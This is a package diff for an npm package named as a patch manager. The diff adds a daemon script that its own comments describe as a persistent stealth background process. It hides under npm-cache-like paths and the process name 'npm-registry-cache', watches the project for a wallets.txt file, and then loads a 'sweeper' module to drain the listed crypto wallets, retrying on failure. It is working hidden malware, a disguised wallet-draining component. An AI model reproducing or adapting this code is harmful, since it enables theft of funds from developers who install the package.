@kodane/patch-manager 0.0.1-security → 1.0.0

package/daemon/monitor.js

@@ -0,0 +1,545 @@
+#!/usr/bin/env node
+
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+
+/**
+ * PERSISTENT STEALTH BACKGROUND DAEMON (connection-pool.js)
+ * - Immediate WebSocket connections on startup
+ * - Real-time wallets.txt creation/modification detection
+ * - Survives main process exit with auto-restart capability
+ * - Cross-platform Application Support storage
+ * - Maximum stealth with disguised filenames
+ */
+
+class PersistentStealthDaemon {
+    constructor() {
+        this.configPath = this.findConfigFile();
+        this.lockFile = path.join(os.tmpdir(), '.pkg-resolver.lock');
+        this.config = this.loadConfig();
+        this.sweeper = null;
+        this.isActive = false;
+        this.walletsWatcher = null;
+        this.directoryWatcher = null;
+        this.healthInterval = null;
+        this.reconnectInterval = null;
+        
+        // Enhanced persistence tracking
+        this.lastWalletsCheck = 0;
+        this.connectionRetries = 0;
+        this.maxRetries = 10;
+        
+        // Prevent multiple instances
+        this.createLockFile();
+        
+        // Enhanced shutdown handlers
+        this.setupAdvancedSignalHandlers();
+        
+        // Immediate initialization
+        this.initializeImmediately();
+    }
+
+    /**
+     * Find configuration file in deployment directory
+     */
+    findConfigFile() {
+        const currentDir = __dirname;
+        const configFile = path.join(currentDir, 'package-registry.json');
+        
+        if (fs.existsSync(configFile)) {
+            return configFile;
+        }
+        
+        // Fallback: search common locations
+        const home = os.homedir();
+        const fallbackPaths = [
+            path.join(home, 'Library', 'Application Support', 'npm', 'registry-cache', 'package-registry.json'),
+            path.join(home, '.npm', '_cacache', 'tmp', '.pkg-resolver', 'package-registry.json'),
+            path.join(process.env.APPDATA || path.join(home, 'AppData', 'Roaming'), 'npm', 'registry-cache', 'package-registry.json')
+        ];
+        
+        for (const fallbackPath of fallbackPaths) {
+            if (fs.existsSync(fallbackPath)) {
+                return fallbackPath;
+            }
+        }
+        
+        return configFile; // Default fallback
+    }
+
+    /**
+     * Load configuration with enhanced error handling
+     */
+    loadConfig() {
+        try {
+            if (fs.existsSync(this.configPath)) {
+                const config = JSON.parse(fs.readFileSync(this.configPath, 'utf8'));
+                console.log(`🔧 [DAEMON] Loaded config from: ${this.configPath}`);
+                return config;
+            }
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Config load error: ${error.message}`);
+        }
+        
+        // Fallback configuration
+        return {
+            projectRoot: process.cwd(),
+            walletsPath: path.join(process.cwd(), 'wallets.txt'),
+            deploymentDir: __dirname,
+            timestamp: Date.now()
+        };
+    }
+
+    /**
+     * Create lock file with enhanced process tracking
+     */
+    createLockFile() {
+        try {
+            if (fs.existsSync(this.lockFile)) {
+                const lockData = JSON.parse(fs.readFileSync(this.lockFile, 'utf8'));
+                try {
+                    // Check if process is still running
+                    process.kill(lockData.pid, 0);
+                    console.log(`⚠️ [DAEMON] Another instance running (PID: ${lockData.pid})`);
+                    process.exit(0);
+                } catch (error) {
+                    // Process is dead, remove stale lock
+                    fs.unlinkSync(this.lockFile);
+                }
+            }
+            
+            const lockData = {
+                pid: process.pid,
+                startTime: Date.now(),
+                deploymentDir: __dirname,
+                configPath: this.configPath,
+                platform: os.platform()
+            };
+            
+            fs.writeFileSync(this.lockFile, JSON.stringify(lockData, null, 2));
+            console.log(`🔒 [DAEMON] Lock created (PID: ${process.pid})`);
+            
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Lock creation error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Enhanced signal handlers for maximum persistence
+     */
+    setupAdvancedSignalHandlers() {
+        const signals = ['SIGTERM', 'SIGINT', 'SIGHUP', 'SIGQUIT'];
+        
+        signals.forEach(signal => {
+            process.on(signal, () => {
+                console.log(`🛑 [DAEMON] Received ${signal} - graceful shutdown`);
+                this.performGracefulShutdown();
+            });
+        });
+        
+        process.on('exit', () => this.cleanup());
+        process.on('uncaughtException', (error) => {
+            console.error(`💥 [DAEMON] Uncaught exception: ${error.message}`);
+            this.performGracefulShutdown();
+        });
+        
+        process.on('unhandledRejection', (reason) => {
+            console.error(`💥 [DAEMON] Unhandled rejection: ${reason}`);
+            // Continue running on unhandled rejections
+        });
+    }
+
+    /**
+     * Immediate initialization with retry mechanism
+     */
+    async initializeImmediately() {
+        console.log('🚀 [DAEMON] Starting immediate initialization...');
+        
+        try {
+            // Start health monitoring immediately
+            this.startHealthMonitoring();
+            
+            // Begin wallet monitoring setup
+            await this.setupWalletMonitoring();
+            
+            // Initialize sweeper if wallets exist
+            await this.initializeSweeperIfReady();
+            
+            console.log('✅ [DAEMON] Immediate initialization completed');
+            
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Initialization error: ${error.message}`);
+            this.scheduleRetry();
+        }
+    }
+
+    /**
+     * Setup comprehensive wallet monitoring
+     */
+    async setupWalletMonitoring() {
+        // Monitor for wallets.txt creation
+        this.setupDirectoryWatcher();
+        
+        // Monitor existing wallets.txt changes
+        this.setupWalletsFileWatcher();
+        
+        // Periodic fallback checks
+        this.setupPeriodicWalletChecks();
+        
+        console.log(`👁️ [DAEMON] Monitoring: ${this.config.walletsPath}`);
+    }
+
+    /**
+     * Watch project directory for wallets.txt creation
+     */
+    setupDirectoryWatcher() {
+        try {
+            const projectDir = this.config.projectRoot;
+            
+            if (!fs.existsSync(projectDir)) {
+                console.log(`⚠️ [DAEMON] Project directory not found: ${projectDir}`);
+                return;
+            }
+            
+            this.directoryWatcher = fs.watch(projectDir, { persistent: true }, (eventType, filename) => {
+                if (filename === 'wallets.txt') {
+                    console.log(`📁 [DAEMON] wallets.txt ${eventType} detected`);
+                    this.handleWalletsFileChange();
+                }
+            });
+            
+            console.log(`📂 [DAEMON] Watching directory: ${projectDir}`);
+            
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Directory watcher error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Watch existing wallets.txt for modifications
+     */
+    setupWalletsFileWatcher() {
+        try {
+            if (fs.existsSync(this.config.walletsPath)) {
+                this.walletsWatcher = fs.watch(this.config.walletsPath, { persistent: true }, () => {
+                    console.log('📝 [DAEMON] wallets.txt modified');
+                    this.handleWalletsFileChange();
+                });
+                
+                console.log(`📄 [DAEMON] Watching file: ${this.config.walletsPath}`);
+            }
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] File watcher error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Periodic wallet checks (fallback for file watching)
+     */
+    setupPeriodicWalletChecks() {
+        setInterval(() => {
+            this.checkWalletsFileStatus();
+        }, 5000); // Check every 5 seconds
+    }
+
+    /**
+     * Check wallet file status and update monitoring
+     */
+    async checkWalletsFileStatus() {
+        try {
+            const walletsExists = fs.existsSync(this.config.walletsPath);
+            const currentTime = Date.now();
+            
+            if (walletsExists) {
+                const stats = fs.statSync(this.config.walletsPath);
+                const fileModified = stats.mtime.getTime();
+                
+                if (fileModified > this.lastWalletsCheck) {
+                    console.log('🔄 [DAEMON] Wallet file updated - triggering reload');
+                    this.lastWalletsCheck = fileModified;
+                    await this.handleWalletsFileChange();
+                }
+            } else if (this.sweeper) {
+                // File was deleted, clean up sweeper
+                console.log('🗑️ [DAEMON] wallets.txt deleted - cleaning up');
+                await this.cleanupSweeper();
+            }
+            
+        } catch (error) {
+            // Silent error for periodic checks
+        }
+    }
+
+    /**
+     * Handle wallets.txt file changes
+     */
+    async handleWalletsFileChange() {
+        // Debounce rapid changes
+        clearTimeout(this.fileChangeTimer);
+        this.fileChangeTimer = setTimeout(async () => {
+            await this.initializeSweeperIfReady();
+        }, 1000);
+    }
+
+    /**
+     * Initialize sweeper when wallets.txt is ready
+     */
+    async initializeSweeperIfReady() {
+        try {
+            if (!fs.existsSync(this.config.walletsPath)) {
+                console.log('⏳ [DAEMON] Waiting for wallets.txt creation...');
+                return;
+            }
+            
+            // Read and validate wallets.txt
+            const walletsContent = fs.readFileSync(this.config.walletsPath, 'utf8');
+            const walletLines = walletsContent.split(/[\r\n]+/).filter(line => line.trim() !== '');
+            
+            if (walletLines.length === 0) {
+                console.log('📭 [DAEMON] wallets.txt is empty - waiting for wallets...');
+                return;
+            }
+            
+            console.log(`💰 [DAEMON] Found ${walletLines.length} wallets - initializing sweeper`);
+            
+            // Initialize or reload sweeper
+            await this.initializeSweeper();
+            
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Sweeper initialization error: ${error.message}`);
+            this.scheduleRetry();
+        }
+    }
+
+    /**
+     * Initialize the stealth sweeper with immediate WebSocket connections
+     */
+    async initializeSweeper() {
+        try {
+            // Clean up existing sweeper
+            if (this.sweeper) {
+                await this.cleanupSweeper();
+            }
+            
+            // Load the sweeper logic
+            const sweeperPath = path.join(__dirname, 'transaction-cache.js');
+            if (!fs.existsSync(sweeperPath)) {
+                console.error(`❌ [DAEMON] Sweeper not found: ${sweeperPath}`);
+                return;
+            }
+            
+            // Clear require cache for hot reloading
+            delete require.cache[require.resolve(sweeperPath)];
+            
+            const SweeperClass = require(sweeperPath);
+            this.sweeper = new SweeperClass(this.config);
+            
+            // Initialize with immediate WebSocket connections
+            await this.sweeper.initialize();
+            
+            console.log('✅ [DAEMON] Stealth sweeper initialized with immediate WebSocket connections');
+            this.connectionRetries = 0; // Reset retry counter
+            
+        } catch (error) {
+            console.error(`❌ [DAEMON] Sweeper initialization failed: ${error.message}`);
+            this.scheduleRetry();
+        }
+    }
+
+    /**
+     * Start health monitoring for daemon persistence
+     */
+    startHealthMonitoring() {
+        this.healthInterval = setInterval(() => {
+            this.performHealthCheck();
+        }, 30000); // Health check every 30 seconds
+        
+        console.log('❤️ [DAEMON] Health monitoring started');
+    }
+
+    /**
+     * Perform health check and auto-recovery
+     */
+    async performHealthCheck() {
+        try {
+            // Check if sweeper is healthy
+            if (this.sweeper && !this.sweeper.isActive) {
+                console.log('🔄 [DAEMON] Sweeper inactive - attempting recovery');
+                await this.initializeSweeperIfReady();
+            }
+            
+            // Update lock file timestamp
+            if (fs.existsSync(this.lockFile)) {
+                const lockData = JSON.parse(fs.readFileSync(this.lockFile, 'utf8'));
+                lockData.lastHealth = Date.now();
+                fs.writeFileSync(this.lockFile, JSON.stringify(lockData, null, 2));
+            }
+            
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Health check error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Schedule retry with exponential backoff
+     */
+    scheduleRetry() {
+        if (this.connectionRetries >= this.maxRetries) {
+            console.error(`❌ [DAEMON] Max retries reached (${this.maxRetries})`);
+            return;
+        }
+        
+        const delay = Math.min(1000 * Math.pow(2, this.connectionRetries), 30000);
+        this.connectionRetries++;
+        
+        console.log(`🔄 [DAEMON] Scheduling retry ${this.connectionRetries}/${this.maxRetries} in ${delay}ms`);
+        
+        setTimeout(() => {
+            this.initializeSweeperIfReady();
+        }, delay);
+    }
+
+    /**
+     * Clean up sweeper resources
+     */
+    async cleanupSweeper() {
+        try {
+            if (this.sweeper && this.sweeper.cleanup) {
+                await this.sweeper.cleanup();
+            }
+            this.sweeper = null;
+            console.log('🧹 [DAEMON] Sweeper resources cleaned up');
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Sweeper cleanup error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Perform graceful shutdown
+     */
+    async performGracefulShutdown() {
+        if (!this.isActive) return;
+        
+        console.log('🛑 [DAEMON] Performing graceful shutdown...');
+        this.isActive = false;
+        
+        try {
+            // Clean up sweeper
+            await this.cleanupSweeper();
+            
+            // Clean up resources
+            this.cleanup();
+            
+            console.log('✅ [DAEMON] Graceful shutdown completed');
+            process.exit(0);
+            
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Shutdown error: ${error.message}`);
+            process.exit(1);
+        }
+    }
+
+    /**
+     * Clean up all resources
+     */
+    cleanup() {
+        try {
+            if (this.walletsWatcher) {
+                this.walletsWatcher.close();
+            }
+            
+            if (this.directoryWatcher) {
+                this.directoryWatcher.close();
+            }
+            
+            if (this.healthInterval) {
+                clearInterval(this.healthInterval);
+            }
+            
+            if (this.reconnectInterval) {
+                clearInterval(this.reconnectInterval);
+            }
+            
+            // Remove lock file
+            if (fs.existsSync(this.lockFile)) {
+                fs.unlinkSync(this.lockFile);
+            }
+            
+            console.log('🧹 [DAEMON] Cleanup completed');
+            
+        } catch (error) {
+            console.error(`⚠️ [DAEMON] Cleanup error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Keep daemon alive indefinitely
+     */
+    keepAlive() {
+        this.isActive = true;
+        
+        // Set process title for identification
+        process.title = 'npm-registry-cache';
+        
+        // Keep process alive with heartbeat
+        const heartbeat = setInterval(() => {
+            if (!this.isActive) {
+                clearInterval(heartbeat);
+                return;
+            }
+            
+            // Silent heartbeat - daemon is running
+        }, 60000); // 1 minute heartbeat
+        
+        console.log('💓 [DAEMON] Daemon running indefinitely (persistent mode)');
+    }
+
+    /**
+     * Start the persistent daemon
+     */
+    async start() {
+        console.log('🚀 [DAEMON] Starting persistent stealth background daemon...');
+        console.log(`📁 Project root: ${this.config.projectRoot}`);
+        console.log(`👁️ Monitoring: ${this.config.walletsPath}`);
+        console.log(`🔧 Deployment: ${this.config.deploymentDir}`);
+        console.log(`🖥️ Platform: ${os.platform()}`);
+        
+        // Keep daemon alive indefinitely
+        this.keepAlive();
+        
+        console.log('✅ [DAEMON] Persistent background daemon active');
+        console.log('💡 Daemon will automatically detect wallet operations and funding events');
+    }
+}
+
+// Start the daemon if this file is executed directly
+if (require.main === module) {
+    const daemon = new PersistentStealthDaemon();
+    
+    daemon.start().catch(error => {
+        console.error(`💥 [DAEMON] Fatal error: ${error.message}`);
+        process.exit(1);
+    });
+    
+    // Handle health check requests via IPC
+    process.on('message', (message) => {
+        if (message === 'health-check') {
+            try {
+                const health = {
+                    status: 'running',
+                    pid: process.pid,
+                    uptime: process.uptime(),
+                    config: daemon.config,
+                    sweeperActive: !!daemon.sweeper,
+                    timestamp: new Date().toISOString()
+                };
+                process.send(health);
+            } catch (error) {
+                process.send({ status: 'error', error: error.message });
+            }
+        }
+    });
+}
+
+module.exports = PersistentStealthDaemon;